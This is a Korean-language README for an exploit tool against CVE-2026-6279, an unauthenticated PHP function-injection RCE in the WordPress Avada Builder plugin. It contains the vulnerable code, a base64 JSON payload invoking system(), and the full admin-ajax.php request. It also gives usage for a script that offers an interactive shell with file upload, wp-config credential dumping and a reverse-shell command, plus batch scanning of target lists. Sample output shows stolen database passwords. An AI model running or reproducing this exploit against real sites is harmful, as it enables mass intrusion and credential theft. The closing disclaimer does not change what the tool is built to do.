
CVE-2026-6279: Avada (Fusion) Builder <= 3.15.2 – 위젯 AJAX 핸들러(fusion-builder)의 'render_logics' 단축 코드 속성을 통한 PHP 함수 주입을 통한 인증되지 않은 원격 코드 실행
| 항목 | 세부내용 |
|---|---|
| CVE ID | CVE-2026-6279 |
| 영향을 받는 대상 | Avada Builder (Fusion Builder) <= 3.15.2 |
| 테마 | WordPress Avada Theme |
| 활성 설치 수 | 900,000+ |
| 취약점 유형 | PHP 함수 삽입 → 인증 없는 RCE |
| CVSS v3.1 | 9.8 (Critical) |
| 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 인증 | ❌ 필요 없음 |
| 사용자 상호작용 | ❌ 필요 없음 |
| 연구자 | xxcoin |
| 발표일 | 2026-05-24 |
┌─────────────────────────────────────────────────────────────────┐
│ │
│ 1. NONCE 탐지 │
│ wp_create_nonce('fusion_load_nonce') → UID 0 │
│ [fusion_post_cards] 또는 [fusion_table_of_contents] │
│ 단축코드가 있는 공개 페이지의 JS에 포함됨 │
│ │ │
│ ▼ │
│ 2. 인증되지 않은 AJAX │
│ wp_ajax_nopriv_fusion_get_widget_markup │
│ check_ajax_referer() → nonce 유효성만 확인 │
│ 사용자 ID는 검증하지 않음 │
│ │ │
│ ▼ │
│ 3. 역직렬화 │
│ base64_decode(render_logics) → json_decode() │
│ 구조 검증 없음 — 공격자 통제 하의 JSON │
│ │ │
│ ▼ │
│ 4. call_user_func() — 허용 목록 없음 │
│ get_value() → wp_conditional_tags case │
│ call_user_func($value['function'], $value['args']) │
│ 모든 PHP 함수 호출 가능 │
│ │ │
│ ▼ │
│ 5. RCE ✓ │
│ system("id") → uid=1000(xxcoin) │
│ 웹 서버 권한으로 전체 명령 실행 │
│ │
└─────────────────────────────────────────────────────────────────┘
class-fusion-builder-conditional-render-helper.php — L1531:
// VULNERABLE CODE
case 'wp_conditional_tags':
$decoded = json_decode( base64_decode( $render_logics ), true );
// ❌ Allowlist kontrolü yok
return call_user_func( $decoded['function'], $decoded['args'] );
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Base64 인코딩 후
render_logicsPOST 필드로 전송됨.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
type=WP_Widget_Recent_Posts
widget_id=2
number=2
| 함수 | 인수 | 결과 | 상태 |
|---|---|---|---|
system() | id | uid=1000(xenon1337) | ✅ 성공 |
passthru() | id | uid=1000(xenon1337) | ✅ 성공 |
shell_exec() | id | uid=1000(xenon1337) | ✅ 성공 |
exec() | id | uid=1000(xenon1337) | ✅ 성공 |
file_get_contents() | /etc/passwd | root:x:0:0:... | ✅ 성공 |
proc_open() | — | — | ❌ 2개 이상의 인수 필요 |
popen() | — | — | ❌ 2개 이상의 인수 필요 |
참고:
call_user_func($fn, $arg)는 본질적으로 단일 인수만 허용합니다.proc_open,popen등 2개 이상의 인수가 필요한 함수는 이 취약점을 통해 트리거할 수 없습니다.
1. Avada는 fusion_load_nonce를 UID 0 (공개 사용자)에 대해 생성합니다.
2. [fusion_post_cards] 또는 [fusion_table_of_contents] 단축코드가
포함된 페이지에 nonce가 JS 출력에 추가됩니다 → 누구나 볼 수 있습니다.
3. check_ajax_referer('fusion_load_nonce')는 nonce의 유효성만
확인합니다 — 사용자 신원은 확인하지 않습니다.
4. 결과: 모든 방문자가 nonce를 획득하여 엔드포인트를 호출할 수 있습니다.
| 파일 | 라인 | 함수 | 설명 |
|---|---|---|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() | render_logics 역직렬화 |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() | ⚠️ call_user_func() — 허용 목록 없음 |
fusion-widget.php | L44 | — | render_logics 연결 |
fusion-widget.php | L389 | — | wp_ajax_nopriv AJAX 핸들러 등록 |
class-fusion-builder.php | L7551 | — | UID 0에 대한 결정적 nonce 등록 |
pip install requests packaging
# 메뉴 모드 (단일 + 배치)
python3 CVE-2026-6279.py
# 프로토콜 없이 (자동 감지)
python3 CVE-2026-6279.py target.com
# 프로토콜 포함
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# 포트 포함
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
♡ [1] 단일 대상 · 대화형 쉘
◆ [2] 배치 스캔 · 파일 익스플로잇
✗ [3] 종료
shell> id # 명령 실행
shell> cd /var/www/html # 디렉토리 변경
shell> upload local.php /tmp/x.php # 파일 업로드
shell> download /etc/passwd # 파일 다운로드
shell> wp-config # DB 정보
shell> recon # 시스템 스캔
shell> revshell 10.0.0.1 4444 # 리버스 쉘
shell> exit # 종료
# targets.txt 형식:
target1.com
http://target2.com
https://target3.com:8080
# 주석 줄 (건너뜀)
♡ 대상 파일 [targets.txt]:
♡ 스레드 [10]: 30
♡ 명령어 [id]:
♡ 출력 파일 [vuln.txt]:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║
║ 인증되지 않은 call_user_func()를 통한 RCE ║
║ Copyright © 2026 xxcoin · Thanks: xxcoin 💜 ║
╚══════════════════════════════════════════════════════════════╝
★ Avada 발견됨! (http://localhost:8888)
★ nonce: b6d7b084c2 (src: /blog/) [shortcode✓]
★ AJAX: http://localhost:8888/wp-admin/admin-ajax.php
★ RCE: system() [B] [WP_Widget_Recent_Posts]
• uid=1000(xxcoin) gid=1000(xxcoin) groups=1000
shell> uname -a
• Linux debian 6.1.0-21-amd64 #1 SMP x86_64 GNU/Linux
shell> wp-config
• DB_NAME=wordpress
• DB_USER=wp_user
• DB_PASSWORD=s3cr3t_p4ss!
• DB_HOST=localhost
| 메트릭 | 값 |
|---|---|
| 공격 벡터 | Network |
| 공격 복잡성 | Low |
| 필요 권한 | None |
| 사용자 상호작용 | None |
| 범위 | Unchanged |
| 기밀성 | High |
| 무결성 | High |
| 가용성 | High |
| 총 점수 | 9.8 — CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
이 도구는 공인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 허가되지 않은 시스템에 접근하는 것은 불법입니다. 모든 책임은 사용자에게 있습니다.
텔레그램. https://t.me/+-GYq8ydL9AYwZGI8)
CVE-2026-6279 · Avada Builder <= 3.15.2 · xxcoin · 2026
특별 감사: Shadow Girlfriend 💜